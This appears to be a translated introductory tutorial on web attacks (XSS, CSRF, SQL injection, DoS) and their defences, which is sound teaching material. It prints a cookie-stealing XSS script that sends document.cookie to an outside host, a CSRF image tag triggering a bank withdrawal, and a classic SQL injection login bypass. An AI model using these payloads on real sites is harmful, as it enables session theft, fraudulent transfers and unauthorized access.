1. Cross-site scripting attacks

Concept

Cross-Site Scripting (XSS) , which can inject code into the web pages that users browse, such code includes HTML and JavaScript.

Principle of the attack

For example, there is a forum site on which an attacker could post the following.

1

<script>location.href="//domain.com/?c=" + document.cookie</script>

The content may then be rendered in the following form.

1

<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>

Another user viewing a page with this content will be redirected to domain.com with a cookie for the current scope. If the forum site manages user login status via Cookie, then the attacker can log in to the attacker’s account via this Cookie.

Hazards

  • Stealing user Cookies
  • Forging fake input forms to obtain personal information
  • Displaying fake articles or images

Precautions

Setting Cookie to HttpOnly prevents JavaScript script calls from getting user Cookie information via document.cookie e.

2. Filtering special characters

For example, < is escaped as &lt; and > is escaped as &gt;, thus avoiding HTML and Jascript code from running.

Rich text editors allow the user to enter HTML code, so that characters such as < cannot simply be filtered, greatly increasing the likelihood of XSS attacks.

Rich text editors often use XSS filter to prevent XSS attacks by defining some tags to be whitelisted or blacklisted, thus disallowing the input of offensive HTML code.

In the following example, tags such as form and script are escaped, while tags such as h and p will be preserved.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

<h1 id="title">XSS Demo</h1>

<p>123</p>

<form>
  <input type="text" name="q" value="test">
</form>

<pre>hello</pre>

<script type="text/javascript">
alert(/xss/);
</script>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

<h1>XSS Demo</h1>

<p>123</p>

&lt;form&gt;
  &lt;input type="text" name="q" value="test"&gt;
&lt;/form&gt;

<pre>hello</pre>

&lt;script type="text/javascript"&gt;
alert(/xss/);
&lt;/script&gt;

2. Cross-site request forgery

Concept

Cross-site request forgery (CSRF) is a technique by which an attacker tricks a user’s browser into visiting a website that he or she has authenticated before and performing some operations (such as sending emails, sending messages, or even property operations such as transferring money and purchasing goods). Since the browser has been authenticated before, the visited website will think it is a real user action and perform it.

XSS takes advantage of the user’s trust in a given website, while CSRF takes advantage of the website’s trust in the user’s browser.

Attack Principle

Suppose a bank uses the following URL address to perform a transfer operation.

1

http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName

Then a malicious attacker could place the following code on another website.

1

<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman"/>

If a user with an account named Alice visits a malicious site, and she has just visited the bank shortly before and her login information has not yet expired, she could lose 1000 dollars.

Such malicious URLs can take many forms and hide in many places on the Web. Moreover, the attacker does not need to control the site where the malicious URL is placed. For example, he can hide such addresses in forums, blogs, and any other websites with user-generated content. This means that if there are no proper defenses on the server side, users are at risk of being attacked even if they visit a familiar and trusted website.

As you can see from the example, attackers cannot directly gain control of a user’s account through a CSRF attack, nor can they directly steal any information about the user. What they can do is to trick the user’s browser into performing actions in the user’s name.

Precautions

1. Checking the Referer initial field

The Referer initial field is located in the HTTP message and is used to identify the address of the request source. Checking this initial field and requiring the address of the request source to be under the same domain name can greatly prevent CSRF attacks.

This approach is easy to implement, low effort, and requires only one additional step of verification at critical accesses. However, this approach has its limitations, as it relies entirely on the browser sending the correct Referer field. Although the HTTP protocol specifies the contents of this field, there is no guarantee that the specific implementation of the visiting browser or that there are no security vulnerabilities in the browser that could affect this field. There is also the possibility that an attacker could attack some browsers and tamper with their Referer fields.

2. Add Checksum Token

When accessing sensitive data requests, the user’s browser is asked to provide data that is not stored in the cookie and cannot be forged by an attacker as a checksum. For example, the server generates a random number and appends it to the form, and asks the client to pass back this random number.

3. Enter the CAPTCHA

Since CSRF attacks occur without the user’s awareness, asking the user to enter a CAPTCHA lets the user know what he or she is doing.

3. SQL Injection Attack

Concept

The database on the server runs illegal SQL statements, mainly through splicing.

Principle of attack

For example, the SQL query code for a website login verification is

1

strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"

If the following is filled in.

1
2

userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";

Then the SQL query string is as follows.

1

strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"

At this point, the following query can be executed without verification pass.

1

strSQL = "SELECT * FROM users;"

Precautions

1. Use parameterized queries

A PreparedStatement in Java is a pre-compiled SQL statement that can be passed appropriate parameters and executed multiple times. Since there is no splicing process, it prevents SQL injection from occurring.

1
2
3
4

PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
stmt.setString(1, userid);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();

2. Single quote conversion

Convert single quotes in the incoming parameter to two consecutive single quotes, the Magic quote in PHP can do this.

4. Denial of Service Attack

denial-of-service attack (DoS) , also known as a flood attack, is designed to exhaust the network or system resources of the target computer so that services are temporarily interrupted or stopped, resulting in inaccessibility to its normal users.

distributed denial-of-service attack (DDoS) , which refers to an attacker using two or more compromised computers as bots to launch a denial-of-service style attack on a specific target.

Precautions

Although a bit insurmountable, there are certain countermeasures.

  • Purchase a high security server
  • Set up gateway or routing firewall
  • Using CDN
  • Multiple identification of requesters, don’t let all traffic in without any authentication
  • If there is a problem on the line, you can direct the attack to another batch of hosts to ensure that the core hosts are healthy and working